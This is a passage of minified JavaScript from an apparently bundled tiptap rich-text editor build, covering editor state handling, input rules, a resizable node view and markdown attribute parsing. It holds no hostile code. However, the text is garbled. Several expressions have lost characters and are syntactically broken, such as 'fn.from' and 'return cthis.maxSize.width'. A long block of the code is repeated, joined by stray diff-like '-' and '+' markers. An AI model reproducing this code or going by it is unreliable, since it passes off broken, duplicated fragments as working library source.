element:",t)}this.css=null,this.emit("unmount",{editor:this})}get storage(){return this.extensionStorage}get commands(){return this.commandManager.commands}chain(){return this.commandManager.chain()}can(){return this.commandManager.can()}injectCSS(){this.options.injectCSS&&typeof document<"u"&&(this.css=R6(I6,this.options.injectNonce))}setOptions(t={}){this.options={...this.options,...t},!(!this.editorView||!this.state||this.isDestroyed)&&(this.options.editorProps&&this.view.setProps(this.options.editorProps),this.view.updateState(this.state))}setEditable(t,e=!0){this.setOptions({editable:t}),e&&this.emit("update",{editor:this,transaction:this.state.tr,appendedTransactions:[]})}get isEditable(){return this.options.editable&&this.view&&this.view.editable}get view(){return this.editorView?this.editorView:new Proxy({state:this.editorState,updateState:t=>{this.editorState=t},dispatch:t=>{this.dispatchTransaction(t)},composing:!1,dragging:null,editable:!0,isDestroyed:!1},{get:(t,e)=>{if(this.editorView)return this.editorView[e];if(e==="state")return this.editorState;if(e in t)return Reflect.get(t,e);throw new Error(`[tiptap error]: The editor view is not available. Cannot access view['${e}']. The editor may not be mounted yet.`)}})}get state(){return this.editorView&&(this.editorState=this.view.state),this.editorState}registerPlugin(t,e){const n=j2(e)?e(t,[...this.state.plugins]):[...this.state.plugins,t],r=this.state.reconfigure({plugins:n});return this.view.updateState(r),r}unregisterPlugin(t){if(this.isDestroyed)return;const e=this.state.plugins;let n=e;if([].concat(t).forEach(a=>{const i=typeof a=="string"?`${a}$`:a.key;n=n.filter(o=>!o.key.startsWith(i))}),e.length===n.length)return;const r=this.state.reconfigure({plugins:n});return this.view.updateState(r),r}createExtensionManager(){var t,e;const r=[...this.options.enableCoreExtensions?[F2,L2.configure({blockSeparator:(e=(t=this.options.coreExtensionOptions)==null?void 0:t.clipboardTextSerializer)==null?void 0:e.blockSeparator}),_2,V2,H2,U2,$2,W2,z2,K2.configure({direction:this.options.textDirection})].filter(a=>typeof this.options.enableCoreExtensions=="object"?this.options.enableCoreExtensions[a.name]!==!1:!0):[],...this.options.extensions].filter(a=>["extension","node","mark"].includes(a==null?void 0:a.type));this.extensionManager=new Lf(r,this)}createCommandManager(){this.commandManager=new If({editor:this})}createSchema(){this.schema=this.extensionManager.schema}createDoc(){let t;try{t=ix(this.options.content,this.schema,this.options.parseOptions,{errorOnInvalidContent:this.options.enableContentCheck})}catch(e){if(!(e instanceof Error)||!["[tiptap error]: Invalid JSON content","[tiptap error]: Invalid HTML content"].includes(e.message))throw e;this.emit("contentError",{editor:this,error:e,disableCollaboration:()=>{"collaboration"in this.storage&&typeof this.storage.collaboration=="object"&&this.storage.collaboration&&(this.storage.collaboration.isDisabled=!0),this.options.extensions=this.options.extensions.filter(n=>n.name!=="collaboration"),this.createExtensionManager()}}),t=ix(this.options.content,this.schema,this.options.parseOptions,{errorOnInvalidContent:!1})}return t}createView(t){const{editorProps:e,enableExtensionDispatchTransaction:n}=this.options,r=e.dispatchTransaction||this.dispatchTransaction.bind(this),a=n?this.extensionManager.dispatchTransaction(r):r,i=e.transformPastedHTML,o=this.extensionManager.transformPastedHTML(i);this.editorView=new f2(t,{...e,attributes:{role:"textbox",...e==null?void 0:e.attributes},dispatchTransaction:a,transformPastedHTML:o,state:this.editorState,markViews:this.extensionManager.markViews,nodeViews:this.extensionManager.nodeViews});const c=this.state.reconfigure({plugins:this.extensionManager.plugins});this.view.updateState(c),this.prependClass(),this.injectCSS();const u=this.view.dom;u.editor=this}createNodeViews(){this.view.isDestroyed||this.view.setProps({markViews:this.extensionManager.markViews,nodeViews:this.extensionManager.nodeViews})}prependClass(){this.view.dom.className=`${this.className} ${this.view.dom.className}`}captureTransaction(t){this.isCapturingTransaction=!0,t(),this.isCapturingTransaction=!1;const e=this.capturedTransaction;return this.capturedTransaction=null,e}dispatchTransaction(t){if(this.view.isDestroyed)return;if(this.isCapturingTransaction){if(!this.capturedTransaction){this.capturedTransaction=t;return}t.steps.forEach(h=>{var f;return(f=this.capturedTransaction)==null?void 0:f.step(h)});return}const{state:e,transactions:n}=this.state.applyTransaction(t),r=!this.state.selection.eq(e.selection),a=n.includes(t),i=this.state;if(this.emit("beforeTransaction",{editor:this,transaction:t,nextState:e}),!a)return;this.view.updateState(e),this.emit("transaction",{editor:this,transaction:t,appendedTransactions:n.slice(1)}),r&&this.emit("selectionUpdate",{editor:this,transaction:t});const o=n.findLast(h=>h.getMeta("focus")||h.getMeta("blur")),c=o==null?void 0:o.getMeta("focus"),u=o==null?void 0:o.getMeta("blur");c&&this.emit("focus",{editor:this,event:c.event,transaction:o}),u&&this.emit("blur",{editor:this,event:u.event,transaction:o}),!(t.getMeta("preventUpdate")||!n.some(h=>h.docChanged)||i.doc.eq(e.doc))&&this.emit("update",{editor:this,transaction:t,appendedTransactions:n.slice(1)})}getAttributes(t){return T2(this.state,t)}isActive(t,e){const n=typeof t=="string"?t:null,r=typeof t=="string"?e:t;return q8(this.state,n,r)}getJSON(){return this.state.doc.toJSON()}getHTML(){return M0(this.state.doc.content,this.schema)}getText(t){const{blockSeparator:e=` -`,textSerializers:n={}}=t||{};return B8(this.state.doc,{blockSeparator:e,textSerializers:{...E2(this.schema),...n}})}get isEmpty(){return Of(this.state.doc)}destroy(){this.emit("destroy"),this.unmount(),this.removeAllListeners()}get isDestroyed(){var t,e;return(e=(t=this.editorView)==null?void 0:t.isDestroyed)!=null?e:!0}$node(t,e){var n;return((n=this.$doc)==null?void 0:n.querySelector(t,e))||null}$nodes(t,e){var n;return((n=this.$doc)==null?void 0:n.querySelectorAll(t,e))||null}$pos(t){const e=this.state.doc.resolve(t);return new A6(e,this)}get $doc(){return this.$pos(0)}};function Ml(t){return new Df({find:t.find,handler:({state:e,range:n,match:r})=>{const a=jt(t.getAttributes,void 0,r);if(a===!1||a===null)return null;const{tr:i}=e,o=r[r.length-1],c=r[0];if(o){const u=c.search(/\S/),h=n.from+c.indexOf(o),f=h+o.length;if(A0(n.from,n.to,e.doc).filter(y=>y.mark.type.excluded.find(w=>w===t.type&&w!==y.mark.type)).filter(y=>y.to>h).length)return null;fn.from&&i.delete(n.from+u,h);const g=n.from+u+o.length;i.addMark(n.from+u,g,t.type.create(a||{})),i.removeStoredMark(t.type)}},undoable:t.undoable})}function q2(t){return new Df({find:t.find,handler:({state:e,range:n,match:r})=>{const a=jt(t.getAttributes,void 0,r)||{},{tr:i}=e,o=n.from;let c=n.to;const u=t.type.create(a);if(r[1]){const h=r[0].lastIndexOf(r[1]);let f=o+h;f>c?f=c:c=f+r[1].length;const m=r[0][r[0].length-1];i.insertText(m,o+r[0].length-1),i.replaceWith(f,c,u)}else if(r[0]){const h=t.type.isInline?o:o-1;i.insert(h,t.type.create(a)).delete(i.mapping.map(o),i.mapping.map(c))}i.scrollIntoView()},undoable:t.undoable})}function lx(t){return new Df({find:t.find,handler:({state:e,range:n,match:r})=>{const a=e.doc.resolve(n.from),i=jt(t.getAttributes,void 0,r)||{};if(!a.node(-1).canReplaceWith(a.index(-1),a.indexAfter(-1),t.type))return null;e.tr.delete(n.from,n.to).setBlockType(n.from,n.from,t.type,i)},undoable:t.undoable})}function Al(t){return new Df({find:t.find,handler:({state:e,range:n,match:r,chain:a})=>{const i=jt(t.getAttributes,void 0,r)||{},o=e.tr.delete(n.from,n.to),u=o.doc.resolve(n.from).blockRange(),h=u&&o0(u,t.type,i);if(!h)return null;if(o.wrap(u,h),t.keepMarks&&t.editor){const{selection:m,storedMarks:g}=e,{splittableMarks:y}=t.editor.extensionManager,N=g||m.$to.parentOffset&&m.$from.marks();if(N){const w=N.filter(v=>y.includes(v.type.name));o.ensureMarks(w)}}if(t.keepAttributes){const m=t.type.name==="bulletList"||t.type.name==="orderedList"?"listItem":"taskList";a().updateAttributes(m,i).run()}const f=o.doc.resolve(n.from-1).nodeBefore;f&&f.type===t.type&&Ti(o.doc,n.from-1)&&(!t.joinPredicate||t.joinPredicate(r,f))&&o.join(n.from-1)},undoable:t.undoable})}var O6=t=>"touches"in t,D6=class{constructor(t){this.directions=["bottom-left","bottom-right","top-left","top-right"],this.minSize={height:8,width:8},this.preserveAspectRatio=!1,this.classNames={container:"",wrapper:"",handle:"",resizing:""},this.initialWidth=0,this.initialHeight=0,this.aspectRatio=1,this.isResizing=!1,this.activeHandle=null,this.startX=0,this.startY=0,this.startWidth=0,this.startHeight=0,this.isShiftKeyPressed=!1,this.lastEditableState=void 0,this.handleMap=new Map,this.handleMouseMove=c=>{if(!this.isResizing||!this.activeHandle)return;const u=c.clientX-this.startX,h=c.clientY-this.startY;this.handleResize(u,h)},this.handleTouchMove=c=>{if(!this.isResizing||!this.activeHandle)return;const u=c.touches[0];if(!u)return;const h=u.clientX-this.startX,f=u.clientY-this.startY;this.handleResize(h,f)},this.handleMouseUp=()=>{if(!this.isResizing)return;const c=this.element.offsetWidth,u=this.element.offsetHeight;this.onCommit(c,u),this.isResizing=!1,this.activeHandle=null,this.container.dataset.resizeState="false",this.classNames.resizing&&this.container.classList.remove(this.classNames.resizing),document.removeEventListener("mousemove",this.handleMouseMove),document.removeEventListener("mouseup",this.handleMouseUp),document.removeEventListener("keydown",this.handleKeyDown),document.removeEventListener("keyup",this.handleKeyUp)},this.handleKeyDown=c=>{c.key==="Shift"&&(this.isShiftKeyPressed=!0)},this.handleKeyUp=c=>{c.key==="Shift"&&(this.isShiftKeyPressed=!1)};var e,n,r,a,i,o;this.node=t.node,this.editor=t.editor,this.element=t.element,this.contentElement=t.contentElement,this.getPos=t.getPos,this.onResize=t.onResize,this.onCommit=t.onCommit,this.onUpdate=t.onUpdate,(e=t.options)!=null&&e.min&&(this.minSize={...this.minSize,...t.options.min}),(n=t.options)!=null&&n.max&&(this.maxSize=t.options.max),(r=t==null?void 0:t.options)!=null&&r.directions&&(this.directions=t.options.directions),(a=t.options)!=null&&a.preserveAspectRatio&&(this.preserveAspectRatio=t.options.preserveAspectRatio),(i=t.options)!=null&&i.className&&(this.classNames={container:t.options.className.container||"",wrapper:t.options.className.wrapper||"",handle:t.options.className.handle||"",resizing:t.options.className.resizing||""}),(o=t.options)!=null&&o.createCustomHandle&&(this.createCustomHandle=t.options.createCustomHandle),this.wrapper=this.createWrapper(),this.container=this.createContainer(),this.applyInitialSize(),this.attachHandles(),this.editor.on("update",this.handleEditorUpdate.bind(this))}get dom(){return this.container}get contentDOM(){var t;return(t=this.contentElement)!=null?t:null}handleEditorUpdate(){const t=this.editor.isEditable;t!==this.lastEditableState&&(this.lastEditableState=t,t?t&&this.handleMap.size===0&&this.attachHandles():this.removeHandles())}update(t,e,n){return t.type!==this.node.type?!1:(this.node=t,this.onUpdate?this.onUpdate(t,e,n):!0)}destroy(){this.isResizing&&(this.container.dataset.resizeState="false",this.classNames.resizing&&this.container.classList.remove(this.classNames.resizing),document.removeEventListener("mousemove",this.handleMouseMove),document.removeEventListener("mouseup",this.handleMouseUp),document.removeEventListener("keydown",this.handleKeyDown),document.removeEventListener("keyup",this.handleKeyUp),this.isResizing=!1,this.activeHandle=null),this.editor.off("update",this.handleEditorUpdate.bind(this)),this.container.remove()}createContainer(){const t=document.createElement("div");return t.dataset.resizeContainer="",t.dataset.node=this.node.type.name,t.style.display="flex",this.classNames.container&&(t.className=this.classNames.container),t.appendChild(this.wrapper),t}createWrapper(){const t=document.createElement("div");return t.style.position="relative",t.style.display="block",t.dataset.resizeWrapper="",this.classNames.wrapper&&(t.className=this.classNames.wrapper),t.appendChild(this.element),t}createHandle(t){const e=document.createElement("div");return e.dataset.resizeHandle=t,e.style.position="absolute",this.classNames.handle&&(e.className=this.classNames.handle),e}positionHandle(t,e){const n=e.includes("top"),r=e.includes("bottom"),a=e.includes("left"),i=e.includes("right");n&&(t.style.top="0"),r&&(t.style.bottom="0"),a&&(t.style.left="0"),i&&(t.style.right="0"),(e==="top"||e==="bottom")&&(t.style.left="0",t.style.right="0"),(e==="left"||e==="right")&&(t.style.top="0",t.style.bottom="0")}attachHandles(){this.directions.forEach(t=>{let e;this.createCustomHandle?e=this.createCustomHandle(t):e=this.createHandle(t),e instanceof HTMLElement||(console.warn(`[ResizableNodeView] createCustomHandle("${t}") did not return an HTMLElement. Falling back to default handle.`),e=this.createHandle(t)),this.createCustomHandle||this.positionHandle(e,t),e.addEventListener("mousedown",n=>this.handleResizeStart(n,t)),e.addEventListener("touchstart",n=>this.handleResizeStart(n,t)),this.handleMap.set(t,e),this.wrapper.appendChild(e)})}removeHandles(){this.handleMap.forEach(t=>t.remove()),this.handleMap.clear()}applyInitialSize(){const t=this.node.attrs.width,e=this.node.attrs.height;t?(this.element.style.width=`${t}px`,this.initialWidth=t):this.initialWidth=this.element.offsetWidth,e?(this.element.style.height=`${e}px`,this.initialHeight=e):this.initialHeight=this.element.offsetHeight,this.initialWidth>0&&this.initialHeight>0&&(this.aspectRatio=this.initialWidth/this.initialHeight)}handleResizeStart(t,e){t.preventDefault(),t.stopPropagation(),this.isResizing=!0,this.activeHandle=e,O6(t)?(this.startX=t.touches[0].clientX,this.startY=t.touches[0].clientY):(this.startX=t.clientX,this.startY=t.clientY),this.startWidth=this.element.offsetWidth,this.startHeight=this.element.offsetHeight,this.startWidth>0&&this.startHeight>0&&(this.aspectRatio=this.startWidth/this.startHeight),this.getPos(),this.container.dataset.resizeState="true",this.classNames.resizing&&this.container.classList.add(this.classNames.resizing),document.addEventListener("mousemove",this.handleMouseMove),document.addEventListener("touchmove",this.handleTouchMove),document.addEventListener("mouseup",this.handleMouseUp),document.addEventListener("keydown",this.handleKeyDown),document.addEventListener("keyup",this.handleKeyUp)}handleResize(t,e){if(!this.activeHandle)return;const n=this.preserveAspectRatio||this.isShiftKeyPressed,{width:r,height:a}=this.calculateNewDimensions(this.activeHandle,t,e),i=this.applyConstraints(r,a,n);this.element.style.width=`${i.width}px`,this.element.style.height=`${i.height}px`,this.onResize&&this.onResize(i.width,i.height)}calculateNewDimensions(t,e,n){let r=this.startWidth,a=this.startHeight;const i=t.includes("right"),o=t.includes("left"),c=t.includes("bottom"),u=t.includes("top");return i?r=this.startWidth+e:o&&(r=this.startWidth-e),c?a=this.startHeight+n:u&&(a=this.startHeight-n),(t==="right"||t==="left")&&(r=this.startWidth+(i?e:-e)),(t==="top"||t==="bottom")&&(a=this.startHeight+(c?n:-n)),this.preserveAspectRatio||this.isShiftKeyPressed?this.applyAspectRatio(r,a,t):{width:r,height:a}}applyConstraints(t,e,n){var r,a,i,o;if(!n){let h=Math.max(this.minSize.width,t),f=Math.max(this.minSize.height,e);return(r=this.maxSize)!=null&&r.width&&(h=Math.min(this.maxSize.width,h)),(a=this.maxSize)!=null&&a.height&&(f=Math.min(this.maxSize.height,f)),{width:h,height:f}}let c=t,u=e;return cthis.maxSize.width&&(c=this.maxSize.width,u=c/this.aspectRatio),(o=this.maxSize)!=null&&o.height&&u>this.maxSize.height&&(u=this.maxSize.height,c=u*this.aspectRatio),{width:c,height:u}}applyAspectRatio(t,e,n){const r=n==="left"||n==="right",a=n==="top"||n==="bottom";return r?{width:t,height:t/this.aspectRatio}:a?{width:e*this.aspectRatio,height:e}:{width:t,height:t/this.aspectRatio}}};function L6(t,e){const{selection:n}=t,{$from:r}=n;if(n instanceof Xe){const i=r.index();return r.parent.canReplaceWith(i,i+1,e)}let a=r.depth;for(;a>=0;){const i=r.index(a);if(r.node(a).contentMatchAt(i).matchType(e))return!0;a-=1}return!1}function _6(t){return t.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&")}var z6={};S0(z6,{createAtomBlockMarkdownSpec:()=>$6,createBlockMarkdownSpec:()=>F6,createInlineMarkdownSpec:()=>G2,parseAttributes:()=>R0,parseIndentedBlocks:()=>cx,renderNestedMarkdownContent:()=>O0,serializeAttributes:()=>P0});function R0(t){if(!(t!=null&&t.trim()))return{};const e={},n=[],r=t.replace(/["']([^"']*)["']/g,h=>(n.push(h),`__QUOTED_${n.length-1}__`)),a=r.match(/(?:^|\s)\.([a-zA-Z][\w-]*)/g);if(a){const h=a.map(f=>f.trim().slice(1));e.class=h.join(" ")}const i=r.match(/(?:^|\s)#([a-zA-Z][\w-]*)/);i&&(e.id=i[1]);const o=/([a-zA-Z][\w-]*)\s*=\s*(__QUOTED_\d+__)/g;Array.from(r.matchAll(o)).forEach(([,h,f])=>{var m;const g=parseInt(((m=f.match(/__QUOTED_(\d+)__/))==null?void 0:m[1])||"0",10),y=n[g];y&&(e[h]=y.slice(1,-1))});const u=r.replace(/(?:^|\s)\.([a-zA-Z][\w-]*)/g,"").replace(/(?:^|\s)#([a-zA-Z][\w-]*)/g,"").replace(/([a-zA-Z][\w-]*)\s*=\s*__QUOTED_\d+__/g,"").trim();return u&&u.split(/\s+/).filter(Boolean).forEach(f=>{f.match(/^[a-zA-Z][\w-]*$/)&&(e[f]=!0)}),e}function P0(t){if(!t||Object.keys(t).length===0)return"";const e=[];return t.class&&String(t.class).split(/\s+/).filter(Boolean).forEach(r=>e.push(`.${r}`)),t.id&&e.push(`#${t.id}`),Object.entries(t).forEach(([n,r])=>{n==="class"||n==="id"||(r===!0?e.push(n):r!==!1&&r!=null&&e.push(`${n}="${String(r)}"`))}),e.join(" ")}function $6(t){const{nodeName:e,name:n,parseAttributes:r=R0,serializeAttributes:a=P0,defaultAttributes:i={},requiredAttributes:o=[],allowedAttributes:c}=t,u=n||e,h=f=>{if(!c)return f;const m={};return c.forEach(g=>{g in f&&(m[g]=f[g])}),m};return{parseMarkdown:(f,m)=>{const g={...i,...f.attributes};return m.createNode(e,g,[])},markdownTokenizer:{name:e,level:"block",start(f){var m;const g=new RegExp(`^:::${u}(?:\\s|$)`,"m"),y=(m=f.match(g))==null?void 0:m.index;return y!==void 0?y:-1},tokenize(f,m,g){const y=new RegExp(`^:::${u}(?:\\s+\\{([^}]*)\\})?\\s*:::(?:\\n|$)`),N=f.match(y);if(!N)return;const w=N[1]||"",v=r(w);if(!o.find(C=>!(C in v)))return{type:e,raw:N[0],attributes:v}}},renderMarkdown:f=>{const m=h(f.attrs||{}),g=a(m),y=g?` {${g}}`:"";return`:::${u}${y} :::`}}}function F6(t){const{nodeName:e,name:n,getContent:r,parseAttributes:a=R0,serializeAttributes:i=P0,defaultAttributes:o={},content:c="block",allowedAttributes:u}=t,h=n||e,f=m=>{if(!u)return m;const g={};return u.forEach(y=>{y in m&&(g[y]=m[y])}),g};return{parseMarkdown:(m,g)=>{let y;if(r){const w=r(m);y=typeof w=="string"?[{type:"text",text:w}]:w}else c==="block"?y=g.parseChildren(m.tokens||[]):y=g.parseInline(m.tokens||[]);const N={...o,...m.attributes};return g.createNode(e,N,y)},markdownTokenizer:{name:e,level:"block",start(m){var g;const y=new RegExp(`^:::${h}`,"m"),N=(g=m.match(y))==null?void 0:g.index;return N!==void 0?N:-1},tokenize(m,g,y){var N;const w=new RegExp(`^:::${h}(?:\\s+\\{([^}]*)\\})?\\s*\\n`),v=m.match(w);if(!v)return;const[k,C=""]=v,E=a(C);let T=1;const I=k.length;let O="";const L=/^:::([\w-]*)(\s.*)?/gm,R=m.slice(I);for(L.lastIndex=0;;){const D=L.exec(R);if(D===null)break;const _=D.index,Z=D[1];if(!((N=D[2])!=null&&N.endsWith(":::"))){if(Z)T+=1;else if(T-=1,T===0){const ne=R.slice(0,_);O=ne.trim();const fe=m.slice(0,I+_+D[0].length);let xe=[];if(O)if(c==="block")for(xe=y.blockTokens(ne),xe.forEach($=>{$.text&&(!$.tokens||$.tokens.length===0)&&($.tokens=y.inlineTokens($.text))});xe.length>0;){const $=xe[xe.length-1];if($.type==="paragraph"&&(!$.text||$.text.trim()===""))xe.pop();else break}else xe=y.inlineTokens(O);return{type:e,raw:fe,attributes:E,content:O,tokens:xe}}}}}},renderMarkdown:(m,g)=>{const y=f(m.attrs||{}),N=i(y),w=N?` {${N}}`:"",v=g.renderChildren(m.content||[],` +`,textSerializers:n={}}=t||{};return B8(this.state.doc,{blockSeparator:e,textSerializers:{...E2(this.schema),...n}})}get isEmpty(){return Of(this.state.doc)}destroy(){this.emit("destroy"),this.unmount(),this.removeAllListeners()}get isDestroyed(){var t,e;return(e=(t=this.editorView)==null?void 0:t.isDestroyed)!=null?e:!0}$node(t,e){var n;return((n=this.$doc)==null?void 0:n.querySelector(t,e))||null}$nodes(t,e){var n;return((n=this.$doc)==null?void 0:n.querySelectorAll(t,e))||null}$pos(t){const e=this.state.doc.resolve(t);return new A6(e,this)}get $doc(){return this.$pos(0)}};function Ml(t){return new Df({find:t.find,handler:({state:e,range:n,match:r})=>{const a=jt(t.getAttributes,void 0,r);if(a===!1||a===null)return null;const{tr:i}=e,o=r[r.length-1],c=r[0];if(o){const u=c.search(/\S/),h=n.from+c.indexOf(o),f=h+o.length;if(A0(n.from,n.to,e.doc).filter(y=>y.mark.type.excluded.find(w=>w===t.type&&w!==y.mark.type)).filter(y=>y.to>h).length)return null;fn.from&&i.delete(n.from+u,h);const g=n.from+u+o.length;i.addMark(n.from+u,g,t.type.create(a||{})),i.removeStoredMark(t.type)}},undoable:t.undoable})}function q2(t){return new Df({find:t.find,handler:({state:e,range:n,match:r})=>{const a=jt(t.getAttributes,void 0,r)||{},{tr:i}=e,o=n.from;let c=n.to;const u=t.type.create(a);if(r[1]){const h=r[0].lastIndexOf(r[1]);let f=o+h;f>c?f=c:c=f+r[1].length;const m=r[0][r[0].length-1];i.insertText(m,o+r[0].length-1),i.replaceWith(f,c,u)}else if(r[0]){const h=t.type.isInline?o:o-1;i.insert(h,t.type.create(a)).delete(i.mapping.map(o),i.mapping.map(c))}i.scrollIntoView()},undoable:t.undoable})}function lx(t){return new Df({find:t.find,handler:({state:e,range:n,match:r})=>{const a=e.doc.resolve(n.from),i=jt(t.getAttributes,void 0,r)||{};if(!a.node(-1).canReplaceWith(a.index(-1),a.indexAfter(-1),t.type))return null;e.tr.delete(n.from,n.to).setBlockType(n.from,n.from,t.type,i)},undoable:t.undoable})}function Al(t){return new Df({find:t.find,handler:({state:e,range:n,match:r,chain:a})=>{const i=jt(t.getAttributes,void 0,r)||{},o=e.tr.delete(n.from,n.to),u=o.doc.resolve(n.from).blockRange(),h=u&&o0(u,t.type,i);if(!h)return null;if(o.wrap(u,h),t.keepMarks&&t.editor){const{selection:m,storedMarks:g}=e,{splittableMarks:y}=t.editor.extensionManager,N=g||m.$to.parentOffset&&m.$from.marks();if(N){const w=N.filter(v=>y.includes(v.type.name));o.ensureMarks(w)}}if(t.keepAttributes){const m=t.type.name==="bulletList"||t.type.name==="orderedList"?"listItem":"taskList";a().updateAttributes(m,i).run()}const f=o.doc.resolve(n.from-1).nodeBefore;f&&f.type===t.type&&Ti(o.doc,n.from-1)&&(!t.joinPredicate||t.joinPredicate(r,f))&&o.join(n.from-1)},undoable:t.undoable})}var O6=t=>"touches"in t,D6=class{constructor(t){this.directions=["bottom-left","bottom-right","top-left","top-right"],this.minSize={height:8,width:8},this.preserveAspectRatio=!1,this.classNames={container:"",wrapper:"",handle:"",resizing:""},this.initialWidth=0,this.initialHeight=0,this.aspectRatio=1,this.isResizing=!1,this.activeHandle=null,this.startX=0,this.startY=0,this.startWidth=0,this.startHeight=0,this.isShiftKeyPressed=!1,this.lastEditableState=void 0,this.handleMap=new Map,this.handleMouseMove=c=>{if(!this.isResizing||!this.activeHandle)return;const u=c.clientX-this.startX,h=c.clientY-this.startY;this.handleResize(u,h)},this.handleTouchMove=c=>{if(!this.isResizing||!this.activeHandle)return;const u=c.touches[0];if(!u)return;const h=u.clientX-this.startX,f=u.clientY-this.startY;this.handleResize(h,f)},this.handleMouseUp=()=>{if(!this.isResizing)return;const c=this.element.offsetWidth,u=this.element.offsetHeight;this.onCommit(c,u),this.isResizing=!1,this.activeHandle=null,this.container.dataset.resizeState="false",this.classNames.resizing&&this.container.classList.remove(this.classNames.resizing),document.removeEventListener("mousemove",this.handleMouseMove),document.removeEventListener("mouseup",this.handleMouseUp),document.removeEventListener("keydown",this.handleKeyDown),document.removeEventListener("keyup",this.handleKeyUp)},this.handleKeyDown=c=>{c.key==="Shift"&&(this.isShiftKeyPressed=!0)},this.handleKeyUp=c=>{c.key==="Shift"&&(this.isShiftKeyPressed=!1)};var e,n,r,a,i,o;this.node=t.node,this.editor=t.editor,this.element=t.element,this.contentElement=t.contentElement,this.getPos=t.getPos,this.onResize=t.onResize,this.onCommit=t.onCommit,this.onUpdate=t.onUpdate,(e=t.options)!=null&&e.min&&(this.minSize={...this.minSize,...t.options.min}),(n=t.options)!=null&&n.max&&(this.maxSize=t.options.max),(r=t==null?void 0:t.options)!=null&&r.directions&&(this.directions=t.options.directions),(a=t.options)!=null&&a.preserveAspectRatio&&(this.preserveAspectRatio=t.options.preserveAspectRatio),(i=t.options)!=null&&i.className&&(this.classNames={container:t.options.className.container||"",wrapper:t.options.className.wrapper||"",handle:t.options.className.handle||"",resizing:t.options.className.resizing||""}),(o=t.options)!=null&&o.createCustomHandle&&(this.createCustomHandle=t.options.createCustomHandle),this.wrapper=this.createWrapper(),this.container=this.createContainer(),this.applyInitialSize(),this.attachHandles(),this.editor.on("update",this.handleEditorUpdate.bind(this))}get dom(){return this.container}get contentDOM(){var t;return(t=this.contentElement)!=null?t:null}handleEditorUpdate(){const t=this.editor.isEditable;t!==this.lastEditableState&&(this.lastEditableState=t,t?t&&this.handleMap.size===0&&this.attachHandles():this.removeHandles())}update(t,e,n){return t.type!==this.node.type?!1:(this.node=t,this.onUpdate?this.onUpdate(t,e,n):!0)}destroy(){this.isResizing&&(this.container.dataset.resizeState="false",this.classNames.resizing&&this.container.classList.remove(this.classNames.resizing),document.removeEventListener("mousemove",this.handleMouseMove),document.removeEventListener("mouseup",this.handleMouseUp),document.removeEventListener("keydown",this.handleKeyDown),document.removeEventListener("keyup",this.handleKeyUp),this.isResizing=!1,this.activeHandle=null),this.editor.off("update",this.handleEditorUpdate.bind(this)),this.container.remove()}createContainer(){const t=document.createElement("div");return t.dataset.resizeContainer="",t.dataset.node=this.node.type.name,t.style.display="flex",this.classNames.container&&(t.className=this.classNames.container),t.appendChild(this.wrapper),t}createWrapper(){const t=document.createElement("div");return t.style.position="relative",t.style.display="block",t.dataset.resizeWrapper="",this.classNames.wrapper&&(t.className=this.classNames.wrapper),t.appendChild(this.element),t}createHandle(t){const e=document.createElement("div");return e.dataset.resizeHandle=t,e.style.position="absolute",this.classNames.handle&&(e.className=this.classNames.handle),e}positionHandle(t,e){const n=e.includes("top"),r=e.includes("bottom"),a=e.includes("left"),i=e.includes("right");n&&(t.style.top="0"),r&&(t.style.bottom="0"),a&&(t.style.left="0"),i&&(t.style.right="0"),(e==="top"||e==="bottom")&&(t.style.left="0",t.style.right="0"),(e==="left"||e==="right")&&(t.style.top="0",t.style.bottom="0")}attachHandles(){this.directions.forEach(t=>{let e;this.createCustomHandle?e=this.createCustomHandle(t):e=this.createHandle(t),e instanceof HTMLElement||(console.warn(`[ResizableNodeView] createCustomHandle("${t}") did not return an HTMLElement. Falling back to default handle.`),e=this.createHandle(t)),this.createCustomHandle||this.positionHandle(e,t),e.addEventListener("mousedown",n=>this.handleResizeStart(n,t)),e.addEventListener("touchstart",n=>this.handleResizeStart(n,t)),this.handleMap.set(t,e),this.wrapper.appendChild(e)})}removeHandles(){this.handleMap.forEach(t=>t.remove()),this.handleMap.clear()}applyInitialSize(){const t=this.node.attrs.width,e=this.node.attrs.height;t?(this.element.style.width=`${t}px`,this.initialWidth=t):this.initialWidth=this.element.offsetWidth,e?(this.element.style.height=`${e}px`,this.initialHeight=e):this.initialHeight=this.element.offsetHeight,this.initialWidth>0&&this.initialHeight>0&&(this.aspectRatio=this.initialWidth/this.initialHeight)}handleResizeStart(t,e){t.preventDefault(),t.stopPropagation(),this.isResizing=!0,this.activeHandle=e,O6(t)?(this.startX=t.touches[0].clientX,this.startY=t.touches[0].clientY):(this.startX=t.clientX,this.startY=t.clientY),this.startWidth=this.element.offsetWidth,this.startHeight=this.element.offsetHeight,this.startWidth>0&&this.startHeight>0&&(this.aspectRatio=this.startWidth/this.startHeight),this.getPos(),this.container.dataset.resizeState="true",this.classNames.resizing&&this.container.classList.add(this.classNames.resizing),document.addEventListener("mousemove",this.handleMouseMove),document.addEventListener("touchmove",this.handleTouchMove),document.addEventListener("mouseup",this.handleMouseUp),document.addEventListener("keydown",this.handleKeyDown),document.addEventListener("keyup",this.handleKeyUp)}handleResize(t,e){if(!this.activeHandle)return;const n=this.preserveAspectRatio||this.isShiftKeyPressed,{width:r,height:a}=this.calculateNewDimensions(this.activeHandle,t,e),i=this.applyConstraints(r,a,n);this.element.style.width=`${i.width}px`,this.element.style.height=`${i.height}px`,this.onResize&&this.onResize(i.width,i.height)}calculateNewDimensions(t,e,n){let r=this.startWidth,a=this.startHeight;const i=t.includes("right"),o=t.includes("left"),c=t.includes("bottom"),u=t.includes("top");return i?r=this.startWidth+e:o&&(r=this.startWidth-e),c?a=this.startHeight+n:u&&(a=this.startHeight-n),(t==="right"||t==="left")&&(r=this.startWidth+(i?e:-e)),(t==="top"||t==="bottom")&&(a=this.startHeight+(c?n:-n)),this.preserveAspectRatio||this.isShiftKeyPressed?this.applyAspectRatio(r,a,t):{width:r,height:a}}applyConstraints(t,e,n){var r,a,i,o;if(!n){let h=Math.max(this.minSize.width,t),f=Math.max(this.minSize.height,e);return(r=this.maxSize)!=null&&r.width&&(h=Math.min(this.maxSize.width,h)),(a=this.maxSize)!=null&&a.height&&(f=Math.min(this.maxSize.height,f)),{width:h,height:f}}let c=t,u=e;return cthis.maxSize.width&&(c=this.maxSize.width,u=c/this.aspectRatio),(o=this.maxSize)!=null&&o.height&&u>this.maxSize.height&&(u=this.maxSize.height,c=u*this.aspectRatio),{width:c,height:u}}applyAspectRatio(t,e,n){const r=n==="left"||n==="right",a=n==="top"||n==="bottom";return 